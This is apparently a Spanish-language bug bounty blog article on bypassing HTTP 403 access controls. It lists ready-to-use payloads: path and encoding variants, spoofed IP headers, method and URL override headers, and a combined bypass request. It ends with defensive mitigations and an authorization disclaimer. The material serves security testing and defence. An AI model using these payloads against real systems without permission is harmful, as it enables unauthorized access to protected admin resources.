17 de octubre de 2026 · 12 min de lectura

403 Bypass

Un 403 Forbidden casi nunca lo genera un único componente monolítico. En una infraestructura típica una petición atraviesa varias capas antes de…

bug bountyweb403 bypass

Índice

  1. ¿Por qué funcionan estos bypass?
  2. Manipulación de la ruta (path manipulation)
  3. Codificación y encoding
  4. Cabeceras HTTP falsificadas
  5. Cambio de método HTTP
  6. Cabeceras de override de ruta
  7. Alteración de versión y formato de protocolo
  8. Null bytes y caracteres especiales
  9. Extensiones y sufijos de archivo
  10. Parámetros de matriz y punto y coma
  11. Inconsistencias proxy/WAF vs backend (desync conceptual)
  12. Bypass específicos por tecnología
  13. Case sensitivity y normalización Unicode
  14. Fuzzing sistemático y automatización
  15. Rutas alternativas al mismo recurso
  16. Combinación de técnicas
  17. Checklist completa
  18. Mitigación: perspectiva defensiva
  19. Recursos recomendados

Por qué funcionan

Un 403 Forbidden casi nunca lo genera un único componente monolítico. En una infraestructura típica una petición atraviesa varias capas antes de llegar al código de la aplicación:

Cliente → CDN/WAF → Balanceador/Proxy inverso → Servidor web → Aplicación

Cada una de estas capas puede parsear, normalizar o interpretar la misma petición de forma distinta. El control de acceso que genera el 403 suele vivir en una sola de estas capas (normalmente el proxy inverso o el WAF), mientras que el recurso protegido vive en otra (la aplicación). Si consigues que la capa de control de acceso vea una ruta “no restringida” mientras la capa de aplicación la interprete como la ruta restringida real, el filtro queda neutralizado. Este principio —desincronización de interpretación entre capas— es la base conceptual de casi todas las técnicas que siguen.


1. Manipulación de la ruta

Los filtros basados en comparación de cadenas (string matching) literal son frágiles ante variaciones sintácticas que el servidor web o el framework normalizan de forma transparente, pero que el filtro no reconoce como equivalentes.

Barras finales y repetidas

/admin
/admin/
/admin//
//admin
/admin///

Muchos servidores colapsan barras repetidas antes de enrutar, pero el componente que aplica el control de acceso puede hacerlo después, o no hacerlo en absoluto.

Segmentos “.” y “..”

/admin/.
/./admin
/admin/./
/public/../admin
/public/..%2Fadmin
/public/..%252Fadmin   (doble codificación)
/admin/../admin

El segmento /./ no cambia la ruta resuelta pero puede alterar la cadena comparada por el filtro. /../ fuerza una resolución de directorio que algunos componentes no replican igual que el servidor final.

Punto y coma como separador de parámetros de matriz

Heredado de la especificación de matrix parameters de HTTP, algunos servidores (notablemente versiones antiguas de Spring y Tomcat) ignoran todo lo que va después de ; al enrutar, pero el WAF puede no hacerlo:

/admin;%2f..;/
/admin;foo=bar
/admin;.css
/admin;/

Mayúsculas y minúsculas

Si el filtro compara en modo case-sensitive pero el sistema de archivos o el router de la aplicación no lo es (típico en Windows o en ciertos frameworks):

/Admin
/ADMIN
/AdMiN
/admin%20 (espacio final, truncado por algunos parsers)

Carácter de interrogación y almohadilla

/admin?
/admin??
/admin#
/admin?anything=1

Algunos filtros evalúan solo el path literal esperando coincidencia exacta y un ? al final ya rompe la comparación sin afectar al enrutamiento real.


2. Codificación y encoding

La codificación es probablemente la familia de técnicas más potente, porque explota el hecho de que decodificar la URL es una operación con estado: alguien tiene que decidir cuándo decodificar, y si dos componentes lo hacen en momentos distintos, aparece la ventana de bypass.

URL encoding simple

Cada carácter ASCII tiene su representación %XX. Codificar letras de la ruta protegida a menudo pasa desapercibido para un filtro que compara contra la cadena literal admin:

%61dmin        → admin (a = %61)
%2561dmin      → doble codificación de la 'a'
/adm%69n       → i = %69

Doble codificación (double URL encoding)

Si el WAF decodifica una vez y el backend decodifica otra vez más, una codificación doble puede atravesar el filtro intacta y resolverse correctamente en destino:

/admin        → %2561646d696e (ejemplo ilustrativo de doble encode completo)
/..%252f admin → tras dos decodificaciones se convierte en ../admin

Codificación Unicode / overlong UTF-8

Ciertos parsers aceptan secuencias UTF-8 “sobrelargas” (no canónicas) que decodifican al mismo carácter ASCII pero con una representación de bytes distinta, evadiendo comparaciones ingenuas:

%c0%af   → equivalente sobrelargo de '/'
%c0%ae%c0%ae/ → equivalente sobrelargo de '..'
%e0%80%af → otra variante sobrelarga de '/'

Este tipo de payload fue históricamente efectivo contra IIS y ciertos proxies antiguos, y sigue apareciendo en listas de fuzzing modernas porque algunos componentes legacy persisten en infraestructuras actuales.

Codificación UTF-16 / UTF-8 mixta

Algunos frameworks que procesan cabeceras o rutas en distintos encodings por defecto permiten deslizar el payload si se envía en una codificación no esperada por el filtro pero sí aceptada por el parser final.

Null byte encoding

/admin%00.json
/admin%00/

Aunque los null bytes clásicos (CVE de los 2000-2010 en aplicaciones C/PHP) son menos comunes hoy, en integraciones legacy o en lenguajes que mezclan buffers de distinto tipo todavía pueden truncar la cadena que ve el validador sin truncar la que procesa el backend.


3. Cabeceras HTTP falsificadas

Muchos controles de acceso “simples” (del tipo solo permitir desde la IP interna de monitorización) se implementan confiando en cabeceras que el cliente controla por completo, salvo que el proxy las sobrescriba explícitamente.

X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 127.0.0.1, 8.8.8.8
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-Host: localhost
X-Host: localhost
X-Forwarded-Server: localhost
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1;by=127.0.0.1

Valores a probar en cada cabecera

No te limites a 127.0.0.1. Prueba también:

0.0.0.0
localhost
::1
10.0.0.1
172.16.0.1
192.168.0.1
la IP pública real del servidor (vía DNS/Shodan)

Combinación de múltiples cabeceras simultáneamente

Algunos filtros solo validan la primera cabecera de una lista concreta; enviar varias a la vez, incluso contradictorias, puede explotar el orden de precedencia que usa el parser:

X-Forwarded-For: evil.ip
X-Forwarded-For: 127.0.0.1

4. Cambio de método HTTP

Es habitual que las reglas de control de acceso se escriban pensando solo en GET, dejando sin cubrir otros verbos que la aplicación igualmente procesa:

HEAD /admin HTTP/1.1
POST /admin HTTP/1.1
PUT /admin HTTP/1.1
DELETE /admin HTTP/1.1
OPTIONS /admin HTTP/1.1
TRACE /admin HTTP/1.1
PATCH /admin HTTP/1.1

HEAD es especialmente interesante: muchos servidores lo tratan como un GET sin cuerpo de respuesta a nivel de aplicación, por lo que si el control de acceso solo intercepta GET explícitamente, HEAD puede colarse y aun así confirmar la existencia/funcionamiento del recurso (aunque no veas el body).

Cabeceras de override de método

Muchos frameworks permiten simular un método distinto al real para facilitar clientes con soporte HTTP limitado, y a veces esta simulación ocurre después de que el control de acceso evalúe el método original:

X-HTTP-Method-Override: GET
X-HTTP-Method: GET
X-Method-Override: GET

5. Cabeceras de override de ruta

Algunos frameworks y balanceadores soportan cabeceras pensadas para reescritura interna de URL (útiles para proxies internos), que en ocasiones no pasan por el mismo control de acceso que la línea de petición principal:

X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin

El patrón típico de explotación es enviar una ruta “inocua” en la línea de petición (que pasa el filtro) y la ruta real protegida en una de estas cabeceras:

GET /index HTTP/1.1
Host: objetivo.com
X-Original-URL: /admin

Esto ha sido efectivo históricamente contra configuraciones de Rails, ciertos middlewares de Node/Express y algunas integraciones con Nginx como proxy frontal.


6. Alteración de versión de protocolo

GET /admin HTTP/1.0
GET /admin HTTP/0.9
GET /admin HTTP/2

Componentes distintos en la cadena pueden tener soporte parcial o comportamiento diferente según la versión declarada, especialmente en cuanto a keep-alive, chunked encoding o el manejo de cabeceras. Downgradear a HTTP/1.0 a veces hace que el WAF aplique un conjunto de reglas distinto al que aplicaría sobre HTTP/1.1.


7. Null bytes y caracteres especiales

/admin%00
/admin%0a
/admin%0d%0a
/admin%09   (tab)
/admin%0b
/admin%0c

Caracteres de control insertados en puntos concretos de la ruta pueden truncar la comparación del filtro (si usa funciones de C subyacentes sensibles a \0) o alterar el parsing de cabeceras (si se insertan saltos de línea y el componente no sanitiza correctamente, abriendo además la puerta a header injection, un problema relacionado pero distinto).


8. Extensiones y sufijos

Añadir una extensión reconocida como “contenido estático” puede hacer que la petición se enrute por un pipeline distinto (servido directamente por el servidor web) que no pasa por el control de acceso de la aplicación:

/admin.json
/admin.html
/admin.php
/admin/.json
/admin..;.css
/admin%2e json
/admin../

Esto es especialmente relevante en arquitecturas donde el servidor web (Nginx/Apache) sirve estáticos directamente desde disco y solo reenvía al backend las rutas sin extensión reconocida, mientras que el framework backend sigue resolviendo la ruta con normalización propia que ignora la extensión añadida.


9. Parámetros de matriz

Derivado de la técnica de ruta pero suficientemente distinto para tratarlo aparte: insertar un punto y coma seguido de contenido arbitrario explota el soporte de matrix parameters de la especificación de URI, implementado de forma inconsistente entre componentes:

/admin;jsessionid=x
/admin;x=1/
/secure;%2f..%2fadmin

Spring MVC en versiones antiguas y Tomcat son ejemplos documentados donde el enrutador ignora todo tras ; pero un WAF delante puede no hacerlo.


10. Inconsistencias proxy/WAF vs backend

Esta es la categoría “paraguas” que explica por qué tantas técnicas anteriores funcionan. Algunos patrones adicionales específicos de esta clase:

  • Duplicación de cabecera Host: enviar dos cabeceras Host distintas puede hacer que el componente de enrutamiento use una y el de control de acceso evalúe otra.
  • Chunked transfer-encoding mal formado: en combinaciones específicas de proxy + backend puede alterar qué parte del cuerpo/cabeceras procesa cada capa (relacionado con HTTP request smuggling, una categoría de vulnerabilidad más amplia).
  • Longitud de cabecera excesiva: algunos WAF truncan cabeceras muy largas sin que el backend haga lo mismo, permitiendo “esconder” el payload real tras relleno.
  • Pipelining de varias peticiones en una conexión: en implementaciones vulnerables, la segunda petición de un pipeline puede evadir la inspección aplicada solo a la primera.

Estas técnicas son más avanzadas, requieren control fino del socket TCP (herramientas como Burp Suite con Repeater en modo raw, o scripts con socket en Python) y conllevan mayor riesgo de causar efectos secundarios no deseados en producción, por lo que su uso debe limitarse estrictamente a entornos autorizados y, preferiblemente, de pruebas.


11. Bypass por tecnología

Cada WAF/CDN/servidor tiene particularidades de parsing documentadas públicamente. Algunos ejemplos conocidos (verifica siempre la versión y el estado de parcheo del objetivo, muchos de estos han sido corregidos):

  • Nginx: históricamente sensible a off-by-slash (location /admin sin barra final no cubre /admin/ ni viceversa, según la configuración exacta de location y alias).
  • Apache: variaciones de case sensitivity en sistemas de archivos Windows subyacentes; interpretación de ..;/ en algunas versiones con mod_rewrite mal configurado.
  • IIS: histórico de overlong UTF-8 y manejo de %uXXXX (codificación Unicode propietaria de IIS clásico).
  • AWS WAF / CloudFront: normalización de ruta que puede diferir de la normalización del origin real detrás, especialmente con dobles codificaciones.
  • Cloudflare: reglas basadas en path exacto pueden evadirse con variaciones de mayúsculas o trailing slash según la configuración del page rule o WAF custom rule.

La recomendación práctica es: identifica la pila tecnológica (cabeceras Server, X-Powered-By, comportamiento ante errores) y busca específicamente “<tecnología> 403 bypass” en recursos actualizados, ya que estos vectores se parchean con frecuencia y lo que funcionaba hace un año puede no funcionar hoy.


12. Case sensitivity y Unicode

Más allá del overlong UTF-8 ya mencionado, existen normalizaciones Unicode (NFC/NFKC) que algunos sistemas aplican automáticamente y que permiten representar el mismo carácter visual con secuencias de bytes distintas:

admin → uso de homoglifos Unicode que normalizan al mismo carácter en algunos sistemas de archivos

Esta técnica es menos común en bypass de rutas puras pero muy relevante en bypass de filtros de username/input relacionados con control de acceso basado en nombres de recurso.


13. Fuzzing sistemático

Probar manualmente cada técnica es lento. Las siguientes herramientas automatizan la mayoría de vectores anteriores:

  • Burp Suite — extensión 403 Bypasser: genera automáticamente decenas de variantes de la ruta objetivo.

  • ffuf: permite fuzzing masivo combinando listas de paths con listas de cabeceras.

    ffuf -u https://objetivo.com/FUZZ -w rutas.txt -mc 200,301,302
  • dirsearch: incluye opciones específicas para probar variantes de capitalización y codificación.

  • Nuclei: con plantillas de la comunidad específicas para “403-bypass” que se actualizan regularmente.

  • Bypass-403 (script de la comunidad, varios forks en GitHub): automatiza la mayoría de las combinaciones de cabeceras y rutas descritas en este artículo contra un único objetivo.

Un flujo de trabajo razonable: identificar primero todas las rutas que devuelven 403 (mediante crawling/spidering), luego lanzar un fuzzer con el set completo de técnicas contra cada una, y finalmente validar manualmente cualquier hit (código 200/301/302) para descartar falsos positivos.


14. Rutas alternativas

Cuando el bypass directo no funciona, a veces es más productivo buscar otra vía hacia el mismo recurso en lugar de evadir el filtro:

  • Buscar un endpoint de API equivalente (/api/v1/admin en lugar de /admin)
  • Revisar robots.txt, sitemap.xml y .well-known/ en busca de rutas internas filtradas
  • Consultar Wayback Machine / crt.sh para versiones históricas o subdominios olvidados que expongan el mismo panel sin protección
  • Comprobar puertos alternativos (:8080, :8443) que a veces exponen el backend directamente, sin pasar por el WAF/CDN que protege el puerto 443 estándar
  • Revisar archivos JavaScript del frontend en busca de rutas de API hardcodeadas que no aparecen en la navegación normal

Combinación de técnicas

Las técnicas anteriores no son mutuamente excluyentes. Los bypass más efectivos en auditorías reales suelen combinar varias capas:

POST /ADMIN/.. HTTP/1.0
Host: objetivo.com
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
X-HTTP-Method-Override: GET

Esta petición combina: cambio de método, manipulación de ruta, downgrade de protocolo, spoofing de IP y override de ruta en una sola prueba. En un fuzzing sistemático conviene generar el producto cartesiano de las variantes de ruta × cabeceras × métodos, priorizando combinaciones según la pila tecnológica identificada.


Checklist completa

# Categoría Ejemplos
1 Barra final/repetida /admin/, //admin
2 Segmentos ./.. /admin/., /public/../admin
3 Mayúsculas /Admin, /ADMIN
4 Sufijos especiales /admin?, /admin#
5 URL encoding /%61dmin
6 Doble encoding /..%252f admin
7 Unicode overlong /%c0%afadmin
8 Null byte /admin%00
9 Cabecera IP spoofing X-Forwarded-For: 127.0.0.1
10 Método alterno HEAD, POST, TRACE
11 Override de método X-HTTP-Method-Override: GET
12 Override de ruta X-Original-URL: /admin
13 Downgrade de protocolo HTTP/1.0, HTTP/0.9
14 Extensión añadida /admin.json
15 Parámetro de matriz /admin;x=1
16 Host duplicado dos cabeceras Host
17 Puerto alternativo :8080, :8443
18 API equivalente /api/admin

Mitigación

Desde la perspectiva de quien diseña o administra la infraestructura, las técnicas anteriores apuntan a un conjunto claro de principios defensivos:

  1. Aplicar el control de acceso en la capa de aplicación, nunca solo en el WAF/proxy. El WAF es una capa adicional de defensa, no la única.
  2. Normalizar la URL una sola vez, idealmente en el componente más cercano a la lógica de negocio, y aplicar el control de acceso después de esa normalización completa (incluyendo decodificación recursiva hasta punto fijo, resolución de ./.., colapso de barras).
  3. No confiar en cabeceras controladas por el cliente (X-Forwarded-For y similares) salvo que el proxy de confianza las sobrescriba explícitamente y se valide la cadena completa de proxies permitidos.
  4. Tratar todos los métodos HTTP como potencialmente sensibles, no solo GET/POST. Denegar por defecto y permitir explícitamente.
  5. Deshabilitar o restringir cabeceras de reescritura interna (X-Original-URL, X-Rewrite-URL) a menos que sean estrictamente necesarias, y en ese caso aplicarles el mismo control de acceso que a la ruta principal.
  6. Auditar la configuración de location/alias en Nginx y equivalentes en Apache/IIS para evitar discrepancias de trailing slash entre reglas de proxy y reglas de control de acceso.
  7. Monitorizar y alertar sobre picos de 403/404 desde una misma IP, que suelen indicar fuzzing activo contra el sitio.
  8. Revisar logs regularmente en busca de patrones de las técnicas descritas (dobles codificaciones, cabeceras X-Forwarded-For anómalas, métodos poco comunes).
  9. Actualizar WAF/CDN con reglas gestionadas (managed rule sets) que ya cubren muchas de las variantes de codificación conocidas, y revisar changelogs del proveedor periódicamente.

Recursos recomendados

  • OWASP Testing Guide – Authorization Testing y Testing for Bypassing Authorization Schema
  • OWASP ASVS – sección de control de acceso
  • HackTricks – 403 & 401 Bypasses
  • PortSwigger Web Security Academy – Access control vulnerabilities
  • PayloadsAllTheThings – 403 and 401 bypass (repositorio de GitHub con payloads actualizados por la comunidad)
  • Changelog de reglas gestionadas de tu proveedor de WAF/CDN (AWS, Cloudflare, Akamai)

Artículo con fines educativos para profesionales de ciberseguridad. Aplica estas técnicas únicamente en sistemas para los que cuentes con autorización expresa.